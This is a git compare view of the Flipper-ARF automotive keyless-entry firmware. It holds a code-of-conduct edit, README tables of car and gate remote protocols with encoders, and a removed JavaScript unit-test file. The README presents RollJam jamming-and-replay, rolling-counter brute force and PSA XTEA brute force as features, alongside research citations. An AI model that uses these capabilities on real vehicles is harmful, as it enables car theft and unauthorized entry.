Compare commits

...

23 Commits

Author SHA1 Message Date
David
585ce97358 Update to-do list in README.md for clarity 2026-03-14 17:09:29 +01:00
Andrea Santaniello
592bf5f1ae Update rolljam_receiver.c 2026-03-14 14:22:57 +01:00
Andrea Santaniello
a02aabbbda Rolljam select offsets/RL Flux Capacitor support 2026-03-14 14:14:08 +01:00
d4rks1d33
3365fc4fed Add RollJam app 2026-03-13 23:54:26 -03:00
Andrea Santaniello
a37ba6b815 Updated targets 2026-03-13 19:43:34 +01:00
Andrea Santaniello
ab1231667c Eradicated JS interpreter & related stuff 2026-03-13 19:07:14 +01:00
Andrea Santaniello
fd7d8c1ea8 Added CRC support to the protocol table 2026-03-13 17:18:39 +01:00
Andrea Santaniello
730bb318fb 47lecoste's advanced modulation hopper merge 2026-03-13 14:50:24 +01:00
Andrea
ce085b6895 Revise automotive RKE security references and add new entries, fixed a DOI 2026-03-12 21:26:45 +01:00
D4rk$1d3
f4c753b673 Update README.md 2026-03-12 15:10:57 -03:00
Andrea
41191df7fd Remove Implemented Protocols section from README (redundant)
Removed the Implemented Protocols section from the README.
2026-03-12 15:33:00 +01:00
Andrea Santaniello
d5eb983caa Modulation hopping settings for time and rssi 2026-03-12 15:18:54 +01:00
Andrea Santaniello
853c609977 Marelli BSI buttons 2026-03-12 15:00:34 +01:00
Andrea Santaniello
a900aef3e9 Protocol renames 2026-03-12 14:36:52 +01:00
Andrea Santaniello
ed52f88a6c Removed test princeofarabia 2026-03-12 14:21:15 +01:00
Andrea Santaniello
71ce73476b SubBrute Icon Fix 2026-03-12 14:20:15 +01:00
Andrea Santaniello
4f247a9e90 Topbar is now also hided when lockmode is on. 2026-03-12 14:02:00 +01:00
Andrea Santaniello
9f89d933da forgot to add api symbol 2026-03-12 13:46:22 +01:00
Andrea Santaniello
43b86fc17b Hide statusbar during update slideshow, updated asset. 2026-03-12 13:26:15 +01:00
DACI
03897a406e Merge branch 'main' of https://github.com/D4C1-Labs/Flipper-ARF 2026-03-12 10:19:55 +01:00
DACI
09a7668fe7 Refactor Subaru & Suzuki protocols and registry
Update subghz protocol registry and perform a large refactor of Subaru and Suzuki implementations. Rename protocol symbols to subghz_protocol_suzuki / subghz_protocol_subaru and expose SUBGHZ_PROTOCOL_SUBARU_NAME; unify includes and use block helpers (const, decoder, encoder, generic, math, custom_btn_i). Subaru: rewrite decoder/encoder types and logic, add count encode/decode, button mapping and names, adjust timing/deltas, add encoder upload builder, improve (de)serialization, use furi_assert, support additional flags (315/433 AM/FM) and custom button handling. Suzuki: clean up decoder/encoder structs, add CRC calculation/verification, button <-> custom mappings, tighten preamble/gap thresholds and parser logic, update protocol flags and naming. Misc: memory and API consistency fixes, improved formatting and small performance/clarity tweaks across headers and source.
2026-03-12 10:19:45 +01:00
D4rk$1d3
76fbf79bff Update README.md 2026-03-11 23:58:40 -03:00
Andrea
bafe135a56 Update language on criminal activity in CODE_OF_CONDUCT
Clarified stance on criminal activity in the code of conduct.
2026-03-12 00:00:28 +01:00
1652 changed files with 3769 additions and 131829 deletions

View File

@@ -20,7 +20,7 @@ Flipper-ARF is an automotive security research project. All contributions, discu
5. **Authorized captures only.** Signal captures and key recordings submitted to the project should come from researcher-owned vehicles or devices, or be obtained with explicit written permission from the owner.
6. **No enabling of criminal activity.** Do not contribute code, documentation, or techniques designed to enable vehicle theft, unauthorized entry, tracking, surveillance, or any other criminal activity.
6. **No enabling of criminal activity.** We do not condone/support/endorse vehicle theft, unauthorized entry, tracking, surveillance, or any other criminal activity.
7. **Radio frequency compliance.** Comply with radio frequency regulations in your jurisdiction. Transmission testing should be conducted in controlled environments or within legally permitted parameters.

205
README.md
View File

@@ -16,7 +16,6 @@ This project may incorporate, adapt, or build upon **other open-source projects*
- [Supported Systems](#supported-systems)
- [How to Build](#how-to-build)
- [Project Scope](#project-scope)
- [Implemented Protocols](#implemented-protocols)
- [To Do / Planned Features](#to-do--planned-features)
- [Design Philosophy](#design-philosophy)
- [Research Direction](#research-direction)
@@ -43,67 +42,67 @@ This project may incorporate, adapt, or build upon **other open-source projects*
### Automotive Protocols
| Manufacturer | Protocol | Frequency | Modulation | Encoder | Decoder |
|:---|:---|:---:|:---:|:---:|:---:|
| VAG (VW/Audi/Skoda/Seat) | VAG GROUP | 433 MHz | AM | Yes | Yes |
| Porsche | Cayenne | 433/868 MHz | AM | Yes | Yes |
| PSA (Peugeot/Citroën/DS) | PSA GROUP | 433 MHz | AM/FM | Yes | Yes |
| Ford | Ford V0 | 315/433 MHz | AM | Yes | Yes |
| Fiat | Fiat SpA | 433 MHz | AM | Yes | Yes |
| Fiat | Fiat Marelli | 433 MHz | AM | No | Yes |
| Subaru | Subaru | 433 MHz | AM | Yes | Yes |
| Mazda | Siemens (5WK49365D) | 315/433 MHz | FM | Yes | Yes |
| Kia/Hyundai | Kia V0 | 433 MHz | FM | Yes | Yes |
| Kia/Hyundai | Kia V1 | 315/433 MHz | AM | Yes | Yes |
| Kia/Hyundai | Kia V2 | 315/433 MHz | FM | Yes | Yes |
| Kia/Hyundai | Kia V3/V4 | 315/433 MHz | AM/FM | Yes | Yes |
| Kia/Hyundai | Kia V5 | 433 MHz | FM | Yes | Yes |
| Kia/Hyundai | Kia V6 | 433 MHz | FM | Yes | Yes |
| Suzuki | Suzuki | 433 MHz | FM | Yes | Yes |
| Mitsubishi | Mitsubishi V0 | 868 MHz | FM | Yes | Yes |
| Manufacturer | Protocol | Frequency | Modulation | Encoder | Decoder | CRC |
|:---|:---|:---:|:---:|:---:|:---:|:---:|
| VAG (VW/Audi/Skoda/Seat) | VAG GROUP | 433 MHz | AM | Yes | Yes | No |
| Porsche | Cayenne | 433/868 MHz | AM | Yes | Yes | No |
| PSA (Peugeot/Citroën/DS) | PSA GROUP | 433 MHz | AM/FM | Yes | Yes | Yes |
| Ford | Ford V0 | 315/433 MHz | AM | Yes | Yes | Yes |
| Fiat | Fiat SpA | 433 MHz | AM | Yes | Yes | Yes |
| Fiat | Fiat Marelli | 433 MHz | AM | No | Yes | No |
| Subaru | Subaru | 433 MHz | AM | Yes | Yes | No |
| Mazda | Siemens (5WK49365D) | 315/433 MHz | FM | Yes | Yes | Yes |
| Kia/Hyundai | Kia V0 | 433 MHz | FM | Yes | Yes | Yes |
| Kia/Hyundai | Kia V1 | 315/433 MHz | AM | Yes | Yes | Yes |
| Kia/Hyundai | Kia V2 | 315/433 MHz | FM | Yes | Yes | Yes |
| Kia/Hyundai | Kia V3/V4 | 315/433 MHz | AM/FM | Yes | Yes | Yes |
| Kia/Hyundai | Kia V5 | 433 MHz | FM | Yes | Yes | Yes |
| Kia/Hyundai | Kia V6 | 433 MHz | FM | Yes | Yes | Yes |
| Suzuki | Suzuki | 433 MHz | FM | Yes | Yes | Yes |
| Mitsubishi | Mitsubishi V0 | 868 MHz | FM | Yes | Yes | No |
### Gate / Access Protocols
| Protocol | Frequency | Modulation | Encoder | Decoder |
|:---|:---:|:---:|:---:|:---:|
| Keeloq | 433/868/315 MHz | AM | Yes | Yes |
| Nice FLO | 433 MHz | AM | Yes | Yes |
| Nice FloR-S | 433 MHz | AM | Yes | Yes |
| CAME | 433/315 MHz | AM | Yes | Yes |
| CAME TWEE | 433 MHz | AM | Yes | Yes |
| CAME Atomo | 433 MHz | AM | Yes | Yes |
| Faac SLH | 433/868 MHz | AM | Yes | Yes |
| Somfy Telis | 433 MHz | AM | Yes | Yes |
| Somfy Keytis | 433 MHz | AM | Yes | Yes |
| Alutech AT-4N | 433 MHz | AM | Yes | Yes |
| KingGates Stylo4k | 433 MHz | AM | Yes | Yes |
| Beninca ARC | 433 MHz | AM | Yes | Yes |
| Hormann HSM | 433/868 MHz | AM | Yes | Yes |
| Marantec | 433 MHz | AM | Yes | Yes |
| Marantec24 | 433 MHz | AM | Yes | Yes |
| Protocol | Frequency | Modulation | Encoder | Decoder | CRC |
|:---|:---:|:---:|:---:|:---:|:---:|
| Keeloq | 433/868/315 MHz | AM | Yes | Yes | No |
| Nice FLO | 433 MHz | AM | Yes | Yes | No |
| Nice FloR-S | 433 MHz | AM | Yes | Yes | Yes |
| CAME | 433/315 MHz | AM | Yes | Yes | No |
| CAME TWEE | 433 MHz | AM | Yes | Yes | No |
| CAME Atomo | 433 MHz | AM | Yes | Yes | No |
| Faac SLH | 433/868 MHz | AM | Yes | Yes | No |
| Somfy Telis | 433 MHz | AM | Yes | Yes | Yes |
| Somfy Keytis | 433 MHz | AM | Yes | Yes | Yes |
| Alutech AT-4N | 433 MHz | AM | Yes | Yes | Yes |
| KingGates Stylo4k | 433 MHz | AM | Yes | Yes | No |
| Beninca ARC | 433 MHz | AM | Yes | Yes | No |
| Hormann HSM | 433/868 MHz | AM | Yes | Yes | No |
| Marantec | 433 MHz | AM | Yes | Yes | Yes |
| Marantec24 | 433 MHz | AM | Yes | Yes | Yes |
### General Static Protocols
| Protocol | Frequency | Modulation | Encoder | Decoder |
|:---|:---:|:---:|:---:|:---:|
| Princeton | 433/315 MHz | AM | Yes | Yes |
| Linear | 315 MHz | AM | Yes | Yes |
| LinearDelta3 | 315 MHz | AM | Yes | Yes |
| GateTX | 433 MHz | AM | Yes | Yes |
| Security+ 1.0 | 315 MHz | AM | Yes | Yes |
| Security+ 2.0 | 315 MHz | AM | Yes | Yes |
| Chamberlain Code | 315 MHz | AM | Yes | Yes |
| MegaCode | 315 MHz | AM | Yes | Yes |
| Mastercode | 433 MHz | AM | Yes | Yes |
| Dickert MAHS | 433 MHz | AM | Yes | Yes |
| SMC5326 | 433 MHz | AM | Yes | Yes |
| Phoenix V2 | 433 MHz | AM | Yes | Yes |
| Doitrand | 433 MHz | AM | Yes | Yes |
| Hay21 | 433 MHz | AM | Yes | Yes |
| Revers RB2 | 433 MHz | AM | Yes | Yes |
| Roger | 433 MHz | AM | Yes | Yes |
| BinRAW | 433/315/868 MHz | AM/FM | Yes | Yes |
| RAW | All | All | Yes | Yes |
| Protocol | Frequency | Modulation | Encoder | Decoder | CRC |
|:---|:---:|:---:|:---:|:---:|:---:|
| Princeton | 433/315 MHz | AM | Yes | Yes | No |
| Linear | 315 MHz | AM | Yes | Yes | No |
| LinearDelta3 | 315 MHz | AM | Yes | Yes | No |
| GateTX | 433 MHz | AM | Yes | Yes | No |
| Security+ 1.0 | 315 MHz | AM | Yes | Yes | No |
| Security+ 2.0 | 315 MHz | AM | Yes | Yes | No |
| Chamberlain Code | 315 MHz | AM | Yes | Yes | No |
| MegaCode | 315 MHz | AM | Yes | Yes | No |
| Mastercode | 433 MHz | AM | Yes | Yes | No |
| Dickert MAHS | 433 MHz | AM | Yes | Yes | No |
| SMC5326 | 433 MHz | AM | Yes | Yes | No |
| Phoenix V2 | 433 MHz | AM | Yes | Yes | No |
| Doitrand | 433 MHz | AM | Yes | Yes | No |
| Hay21 | 433 MHz | AM | Yes | Yes | No |
| Revers RB2 | 433 MHz | AM | Yes | Yes | No |
| Roger | 433 MHz | AM | Yes | Yes | No |
| BinRAW | 433/315/868 MHz | AM/FM | Yes | Yes | No |
| RAW | All | All | Yes | Yes | No |
---
@@ -132,25 +131,12 @@ Flipper-ARF aims to achieve:
---
## Implemented Protocols
- [x] Mazda Siemens Protocol (5WK49365D) — ported from open-source references (testing required)
- [x] Full VAG, Fiat, Ford, Subaru, Kia, PSA support
- [x] D-Pad mapping (Lock / Unlock / Boot / Trunk) during emulation
- [x] VAG MFKey support and updated Keeloq codes
- [x] PSA XTEA brute force for saved → emulation workflow
- [x] Brute force of counter in saved → can be accellerated trough the companion app via bluetooth
- [x] RollJam app (Internal CC1101 for RX & TX captured signal; External CC1101 for jamming) — requires more real-world testing
---
## To Do / Planned Features
- [X] Keeloq Key Manager inside firmware
- [ ] Add Scher Khan & Starline protocols
- [ ] Fix and reintegrate RollJam app (future updates)
- [ ] Marelli BSI encoder and encryption
- [ ] Improve RollJam app
- [ ] Expand and refine Subaru, Kia, PSA, and other manufacturer protocols
- [ ] Improve collaboration workflow to avoid overlapping work
---
@@ -202,7 +188,8 @@ The following academic publications have been invaluable to the development and
- **Lock It and Still Lose It — On the (In)Security of Automotive Remote Keyless Entry Systems**
Flavio D. Garcia, David Oswald, Timo Kasper, Pierre Pavlidès
*USENIX Security 2016*
*USENIX Security 2016, pp. 929944*
DOI: [10.5555/3241094.3241166](https://doi.org/10.5555/3241094.3241166)
https://www.usenix.org/system/files/conference/usenixsecurity16/sec16_paper_garcia.pdf
- **Clonable Key Fobs: Analyzing and Breaking RKE Protocols**
@@ -225,33 +212,65 @@ The following academic publications have been invaluable to the development and
*Wiley, February 2025*
DOI: [10.1002/9781394351930.ch11](https://doi.org/10.1002/9781394351930.ch11)
### DST Cipher Family (DST40 / DST80)
- **Security Analysis of a Cryptographically-Enabled RFID Device**
Steve Bono, Matthew Green, Adam Stubblefield, Ari Juels, Avi Rubin, Michael Szydlo
*14th USENIX Security Symposium (USENIX Security '05)*
https://www.usenix.org/conference/14th-usenix-security-symposium/security-analysis-cryptographically-enabled-rfid-device
https://www.usenix.org/legacy/event/sec05/tech/bono/bono.pdf
- **Dismantling DST80-based Immobiliser Systems**
Lennert Wouters, Jan Van den Herrewegen, Flavio D. Garcia, David Oswald, Benedikt Gierlichs, Bart Preneel
*IACR Transactions on Cryptographic Hardware and Embedded Systems (TCHES), 2020, Vol. 2020(2), pp. 99127*
DOI: [10.13154/tches.v2020.i2.99-127](https://doi.org/10.13154/tches.v2020.i2.99-127)
### KeeLoq Cryptanalysis
- **Cryptanalysis of the KeeLoq Block Cipher**
Andrey Bogdanov
*Cryptology ePrint Archive, Paper 2007/055*
*Cryptology ePrint Archive, Paper 2007/055; also presented at RFIDSec 2007*
https://eprint.iacr.org/2007/055
- **On the Power of Power Analysis in the Real World: A Complete Break of the KeeLoq Code Hopping Scheme**
Thomas Eisenbarth, Timo Kasper, Amir Moradi, Christof Paar, Mahmoud Salmasizadeh, Mohammad T. Manzuri Shalmani
*CRYPTO 2008*
https://www.iacr.org/archive/crypto2008/51570204/51570204.pdf
- **A Practical Attack on KeeLoq**
Sebastiaan Indesteege, Nathan Keller, Orr Dunkelman, Eli Biham, Bart Preneel
*EUROCRYPT 2008*
*EUROCRYPT 2008 (LNCS vol. 4965, pp. 118)*
DOI: [10.1007/978-3-540-78967-3_1](https://doi.org/10.1007/978-3-540-78967-3_1)
https://www.iacr.org/archive/eurocrypt2008/49650001/49650001.pdf
- **Algebraic and Slide Attacks on KeeLoq**
Nicolas T. Courtois, Gregory V. Bard, David Wagner
*FSE 2008 (LNCS vol. 5086, pp. 97115)*
DOI: [10.1007/978-3-540-71039-4_6](https://doi.org/10.1007/978-3-540-71039-4_6)
- **On the Power of Power Analysis in the Real World: A Complete Break of the KeeLoq Code Hopping Scheme**
Thomas Eisenbarth, Timo Kasper, Amir Moradi, Christof Paar, Mahmoud Salmasizadeh, Mohammad T. Manzuri Shalmani
*CRYPTO 2008 (LNCS vol. 5157, pp. 203220)*
DOI: [10.1007/978-3-540-85174-5_12](https://doi.org/10.1007/978-3-540-85174-5_12)
https://www.iacr.org/archive/crypto2008/51570204/51570204.pdf
- **Breaking KeeLoq in a Flash: On Extracting Keys at Lightning Speed**
*Springer*
Markus Kasper, Timo Kasper, Amir Moradi, Christof Paar
*AFRICACRYPT 2009 (LNCS vol. 5580, pp. 403420)*
DOI: [10.1007/978-3-642-02384-2_25](https://doi.org/10.1007/978-3-642-02384-2_25)
### Immobiliser & Transponder Systems
### Immobiliser & Transponder Cipher Attacks
- **Dismantling DST80-based Immobiliser Systems**
Lennert Wouters, Jan Van den Herrewegen, Flavio D. Garcia, David Oswald, Benedikt Gierlichs, Bart Preneel
*IACR Transactions on Cryptographic Hardware and Embedded Systems (TCHES), 2020, Vol. 2*
DOI: [10.13154/tches.v2020.i2.99-127](https://doi.org/10.13154/tches.v2020.i2.99-127)
- **Gone in 360 Seconds: Hijacking with Hitag2**
Roel Verdult, Flavio D. Garcia, Josep Balasch
*21st USENIX Security Symposium (USENIX Security '12), pp. 237252*
DOI: [10.5555/2362793.2362830](https://doi.org/10.5555/2362793.2362830)
https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final95.pdf
- **Dismantling Megamos Crypto: Wirelessly Lockpicking a Vehicle Immobilizer**
Roel Verdult, Flavio D. Garcia, Baris Ege
*Supplement to 22nd USENIX Security Symposium (USENIX Security '13/15), pp. 703718*
https://www.usenix.org/sites/default/files/sec15_supplement.pdf
- **Dismantling the AUT64 Automotive Cipher**
Christopher Hicks, Flavio D. Garcia, David Oswald
*IACR Transactions on Cryptographic Hardware and Embedded Systems (TCHES), 2018, Vol. 2018(2), pp. 4669*
DOI: [10.13154/tches.v2018.i2.46-69](https://doi.org/10.13154/tches.v2018.i2.46-69)
### RFID & Protocol Analysis Tooling
@@ -262,6 +281,11 @@ The following academic publications have been invaluable to the development and
### Relay & Replay Attacks
- **Relay Attacks on Passive Keyless Entry and Start Systems in Modern Cars**
Aurélien Francillon, Boris Danev, Srdjan Čapkun
*NDSS 2011*
https://www.ndss-symposium.org/ndss2011/relay-attacks-on-passive-keyless-entry-and-start-systems-in-modern-cars/
- **Implementing and Testing RollJam on Software-Defined Radios**
*Università di Bologna (UNIBO), CRIS*
https://cris.unibo.it/handle/11585/999874
@@ -272,13 +296,14 @@ The following academic publications have been invaluable to the development and
- **RollBack: A New Time-Agnostic Replay Attack Against the Automotive Remote Keyless Entry Systems**
Levente Csikor, Hoon Wei Lim, Jun Wen Wong, Soundarya Ramesh, Rohini Poolat Parameswarath, Mun Choon Chan
*ACM*
*Black Hat USA 2022; ACM Transactions on Cyber-Physical Systems, 2024*
DOI: [10.1145/3627827](https://doi.org/10.1145/3627827)
https://i.blackhat.com/USA-22/Thursday/US-22-Csikor-Rollback-A-New-Time-Agnostic-Replay-wp.pdf
- **Relay Attacks on Passive Keyless Entry and Start Systems in Modern Cars**
Aurelien Francillon, Boris Danev, Srdjan Capkun
*NDSS 2011*
https://www.ndss-symposium.org/ndss2011/relay-attacks-on-passive-keyless-entry-and-start-systems-in-modern-cars/
- **Rolling-PWN Attack (Honda RKE Vulnerability)**
Kevin2600 (Haoqi Shan), Wesley Li — Star-V Lab
*Independent disclosure, 2022 (CVE-2021-46145)*
https://rollingpwn.github.io/rolling-pwn/
---

View File

@@ -222,13 +222,6 @@ App(
requires=["unit_tests"],
)
App(
appid="test_js",
sources=["tests/common/*.c", "tests/js/*.c"],
apptype=FlipperAppType.PLUGIN,
entry_point="get_api",
requires=["unit_tests", "js_app"],
)
App(
appid="test_strint",

View File

@@ -1,395 +0,0 @@
#include "../test.h" // IWYU pragma: keep
#include <furi.h>
#include <furi_hal.h>
#include <furi_hal_random.h>
#include <storage/storage.h>
#include <applications/system/js_app/js_thread.h>
#include <applications/system/js_app/js_value.h>
#include <stdint.h>
#define TAG "JsUnitTests"
#define JS_SCRIPT_PATH(name) EXT_PATH("unit_tests/js/" name ".js")
typedef enum {
JsTestsFinished = 1,
JsTestsError = 2,
} JsTestFlag;
typedef struct {
FuriEventFlag* event_flags;
FuriString* error_string;
} JsTestCallbackContext;
static void js_test_callback(JsThreadEvent event, const char* msg, void* param) {
JsTestCallbackContext* context = param;
if(event == JsThreadEventPrint) {
FURI_LOG_I("js_test", "%s", msg);
} else if(event == JsThreadEventError || event == JsThreadEventErrorTrace) {
context->error_string = furi_string_alloc_set_str(msg);
furi_event_flag_set(context->event_flags, JsTestsFinished | JsTestsError);
} else if(event == JsThreadEventDone) {
furi_event_flag_set(context->event_flags, JsTestsFinished);
}
}
static void js_test_run(const char* script_path) {
JsTestCallbackContext* context = malloc(sizeof(JsTestCallbackContext));
context->event_flags = furi_event_flag_alloc();
JsThread* thread = js_thread_run(script_path, js_test_callback, context);
uint32_t flags = furi_event_flag_wait(
context->event_flags, JsTestsFinished, FuriFlagWaitAny, FuriWaitForever);
if(flags & FuriFlagError) {
// getting the flags themselves should not fail
furi_crash();
}
FuriString* error_string = context->error_string;
js_thread_stop(thread);
furi_event_flag_free(context->event_flags);
free(context);
if(flags & JsTestsError) {
// memory leak: not freeing the FuriString if the tests fail,
// because mu_fail executes a return
//
// who cares tho?
mu_fail(furi_string_get_cstr(error_string));
}
}
MU_TEST(js_test_basic) {
js_test_run(JS_SCRIPT_PATH("basic"));
}
MU_TEST(js_test_math) {
js_test_run(JS_SCRIPT_PATH("math"));
}
MU_TEST(js_test_event_loop) {
js_test_run(JS_SCRIPT_PATH("event_loop"));
}
MU_TEST(js_test_storage) {
js_test_run(JS_SCRIPT_PATH("storage"));
}
static void js_value_test_compatibility_matrix(struct mjs* mjs) {
static const JsValueType types[] = {
JsValueTypeAny,
JsValueTypeAnyArray,
JsValueTypeAnyObject,
JsValueTypeFunction,
JsValueTypeRawPointer,
JsValueTypeInt32,
JsValueTypeDouble,
JsValueTypeString,
JsValueTypeBool,
};
mjs_val_t values[] = {
mjs_mk_undefined(),
mjs_mk_foreign(mjs, (void*)0xDEADBEEF),
mjs_mk_array(mjs),
mjs_mk_object(mjs),
mjs_mk_number(mjs, 123.456),
mjs_mk_string(mjs, "test", ~0, false),
mjs_mk_boolean(mjs, true),
};
// for proper matrix formatting and better readability
#define YES true
#define NO_ false
static const bool success_matrix[COUNT_OF(types)][COUNT_OF(values)] = {
// types:
{YES, YES, YES, YES, YES, YES, YES}, // any
{NO_, NO_, YES, NO_, NO_, NO_, NO_}, // array
{NO_, NO_, YES, YES, NO_, NO_, NO_}, // obj
{NO_, NO_, NO_, NO_, NO_, NO_, NO_}, // fn
{NO_, YES, NO_, NO_, NO_, NO_, NO_}, // ptr
{NO_, NO_, NO_, NO_, YES, NO_, NO_}, // int32
{NO_, NO_, NO_, NO_, YES, NO_, NO_}, // double
{NO_, NO_, NO_, NO_, NO_, YES, NO_}, // str
{NO_, NO_, NO_, NO_, NO_, NO_, YES}, // bool
//
//und ptr arr obj num str bool <- values
};
#undef NO_
#undef YES
for(size_t i = 0; i < COUNT_OF(types); i++) {
for(size_t j = 0; j < COUNT_OF(values); j++) {
const JsValueDeclaration declaration = {
.type = types[i],
.n_children = 0,
};
// we only care about the status, not the result. double has the largest size out of
// all the results
uint8_t result[sizeof(double)];
JsValueParseStatus status;
JS_VALUE_PARSE(
mjs,
JS_VALUE_PARSE_SOURCE_VALUE(&declaration),
JsValueParseFlagNone,
&status,
&values[j],
result);
if((status == JsValueParseStatusOk) != success_matrix[i][j]) {
FURI_LOG_E(TAG, "type %zu, value %zu", i, j);
mu_fail("see serial logs");
}
}
}
}
static void js_value_test_literal(struct mjs* mjs) {
static const JsValueType types[] = {
JsValueTypeAny,
JsValueTypeAnyArray,
JsValueTypeAnyObject,
};
mjs_val_t values[] = {
mjs_mk_undefined(),
mjs_mk_array(mjs),
mjs_mk_object(mjs),
};
mu_assert_int_eq(COUNT_OF(types), COUNT_OF(values));
for(size_t i = 0; i < COUNT_OF(types); i++) {
const JsValueDeclaration declaration = {
.type = types[i],
.n_children = 0,
};
mjs_val_t result;
JsValueParseStatus status;
JS_VALUE_PARSE(
mjs,
JS_VALUE_PARSE_SOURCE_VALUE(&declaration),
JsValueParseFlagNone,
&status,
&values[i],
&result);
mu_assert_int_eq(JsValueParseStatusOk, status);
mu_assert(result == values[i], "wrong result");
}
}
static void js_value_test_primitive(
struct mjs* mjs,
JsValueType type,
const void* c_value,
size_t c_value_size,
mjs_val_t js_val) {
const JsValueDeclaration declaration = {
.type = type,
.n_children = 0,
};
uint8_t result[c_value_size];
JsValueParseStatus status;
JS_VALUE_PARSE(
mjs,
JS_VALUE_PARSE_SOURCE_VALUE(&declaration),
JsValueParseFlagNone,
&status,
&js_val,
result);
mu_assert_int_eq(JsValueParseStatusOk, status);
if(type == JsValueTypeString) {
const char* result_str = *(const char**)&result;
mu_assert_string_eq(c_value, result_str);
} else {
mu_assert_mem_eq(c_value, result, c_value_size);
}
}
static void js_value_test_primitives(struct mjs* mjs) {
int32_t i32 = 123;
js_value_test_primitive(mjs, JsValueTypeInt32, &i32, sizeof(i32), mjs_mk_number(mjs, i32));
double dbl = 123.456;
js_value_test_primitive(mjs, JsValueTypeDouble, &dbl, sizeof(dbl), mjs_mk_number(mjs, dbl));
const char* str = "test";
js_value_test_primitive(
mjs, JsValueTypeString, str, strlen(str) + 1, mjs_mk_string(mjs, str, ~0, false));
bool boolean = true;
js_value_test_primitive(
mjs, JsValueTypeBool, &boolean, sizeof(boolean), mjs_mk_boolean(mjs, boolean));
}
static uint32_t
js_value_test_enum(struct mjs* mjs, const JsValueDeclaration* decl, const char* value) {
mjs_val_t str = mjs_mk_string(mjs, value, ~0, false);
uint32_t result;
JsValueParseStatus status;
JS_VALUE_PARSE(
mjs, JS_VALUE_PARSE_SOURCE_VALUE(decl), JsValueParseFlagNone, &status, &str, &result);
if(status != JsValueParseStatusOk) return 0;
return result;
}
static void js_value_test_enums(struct mjs* mjs) {
static const JsValueEnumVariant enum_1_variants[] = {
{"variant 1", 1},
{"variant 2", 2},
{"variant 3", 3},
};
static const JsValueDeclaration enum_1 = JS_VALUE_ENUM(uint32_t, enum_1_variants);
static const JsValueEnumVariant enum_2_variants[] = {
{"read", 4},
{"write", 8},
};
static const JsValueDeclaration enum_2 = JS_VALUE_ENUM(uint32_t, enum_2_variants);
mu_assert_int_eq(1, js_value_test_enum(mjs, &enum_1, "variant 1"));
mu_assert_int_eq(2, js_value_test_enum(mjs, &enum_1, "variant 2"));
mu_assert_int_eq(3, js_value_test_enum(mjs, &enum_1, "variant 3"));
mu_assert_int_eq(0, js_value_test_enum(mjs, &enum_1, "not a thing"));
mu_assert_int_eq(0, js_value_test_enum(mjs, &enum_2, "variant 1"));
mu_assert_int_eq(0, js_value_test_enum(mjs, &enum_2, "variant 2"));
mu_assert_int_eq(0, js_value_test_enum(mjs, &enum_2, "variant 3"));
mu_assert_int_eq(0, js_value_test_enum(mjs, &enum_2, "not a thing"));
mu_assert_int_eq(4, js_value_test_enum(mjs, &enum_2, "read"));
mu_assert_int_eq(8, js_value_test_enum(mjs, &enum_2, "write"));
}
static void js_value_test_object(struct mjs* mjs) {
static const JsValueDeclaration int_decl = JS_VALUE_SIMPLE(JsValueTypeInt32);
static const JsValueDeclaration str_decl = JS_VALUE_SIMPLE(JsValueTypeString);
static const JsValueEnumVariant enum_variants[] = {
{"variant 1", 1},
{"variant 2", 2},
{"variant 3", 3},
};
static const JsValueDeclaration enum_decl = JS_VALUE_ENUM(uint32_t, enum_variants);
static const JsValueObjectField fields[] = {
{"int", &int_decl},
{"str", &str_decl},
{"enum", &enum_decl},
};
static const JsValueDeclaration object_decl = JS_VALUE_OBJECT(fields);
mjs_val_t object = mjs_mk_object(mjs);
JS_ASSIGN_MULTI(mjs, object) {
JS_FIELD("str", mjs_mk_string(mjs, "Helloooo!", ~0, false));
JS_FIELD("int", mjs_mk_number(mjs, 123));
JS_FIELD("enum", mjs_mk_string(mjs, "variant 2", ~0, false));
}
const char* result_str;
int32_t result_int;
uint32_t result_enum;
JsValueParseStatus status;
JS_VALUE_PARSE(
mjs,
JS_VALUE_PARSE_SOURCE_VALUE(&object_decl),
JsValueParseFlagNone,
&status,
&object,
&result_int,
&result_str,
&result_enum);
mu_assert_int_eq(JsValueParseStatusOk, status);
mu_assert_string_eq("Helloooo!", result_str);
mu_assert_int_eq(123, result_int);
mu_assert_int_eq(2, result_enum);
}
static void js_value_test_default(struct mjs* mjs) {
static const JsValueDeclaration int_decl =
JS_VALUE_SIMPLE_W_DEFAULT(JsValueTypeInt32, int32_val, 123);
static const JsValueDeclaration str_decl = JS_VALUE_SIMPLE(JsValueTypeString);
static const JsValueObjectField fields[] = {
{"int", &int_decl},
{"str", &str_decl},
};
static const JsValueDeclaration object_decl = JS_VALUE_OBJECT(fields);
mjs_val_t object = mjs_mk_object(mjs);
JS_ASSIGN_MULTI(mjs, object) {
JS_FIELD("str", mjs_mk_string(mjs, "Helloooo!", ~0, false));
JS_FIELD("int", mjs_mk_undefined());
}
const char* result_str;
int32_t result_int;
JsValueParseStatus status;
JS_VALUE_PARSE(
mjs,
JS_VALUE_PARSE_SOURCE_VALUE(&object_decl),
JsValueParseFlagNone,
&status,
&object,
&result_int,
&result_str);
mu_assert_string_eq("Helloooo!", result_str);
mu_assert_int_eq(123, result_int);
}
static void js_value_test_args_fn(struct mjs* mjs) {
static const JsValueDeclaration arg_list[] = {
JS_VALUE_SIMPLE(JsValueTypeInt32),
JS_VALUE_SIMPLE(JsValueTypeInt32),
JS_VALUE_SIMPLE(JsValueTypeInt32),
};
static const JsValueArguments args = JS_VALUE_ARGS(arg_list);
int32_t a, b, c;
JS_VALUE_PARSE_ARGS_OR_RETURN(mjs, &args, &a, &b, &c);
mu_assert_int_eq(123, a);
mu_assert_int_eq(456, b);
mu_assert_int_eq(-420, c);
}
static void js_value_test_args(struct mjs* mjs) {
mjs_val_t function = MJS_MK_FN(js_value_test_args_fn);
mjs_val_t result;
mjs_val_t args[] = {
mjs_mk_number(mjs, 123),
mjs_mk_number(mjs, 456),
mjs_mk_number(mjs, -420),
};
mu_assert_int_eq(
MJS_OK, mjs_apply(mjs, &result, function, MJS_UNDEFINED, COUNT_OF(args), args));
}
MU_TEST(js_value_test) {
struct mjs* mjs = mjs_create(NULL);
js_value_test_compatibility_matrix(mjs);
js_value_test_literal(mjs);
js_value_test_primitives(mjs);
js_value_test_enums(mjs);
js_value_test_object(mjs);
js_value_test_default(mjs);
js_value_test_args(mjs);
mjs_destroy(mjs);
}
MU_TEST_SUITE(test_js) {
MU_RUN_TEST(js_value_test);
MU_RUN_TEST(js_test_basic);
MU_RUN_TEST(js_test_math);
MU_RUN_TEST(js_test_event_loop);
MU_RUN_TEST(js_test_storage);
}
int run_minunit_test_js(void) {
MU_RUN_SUITE(test_js);
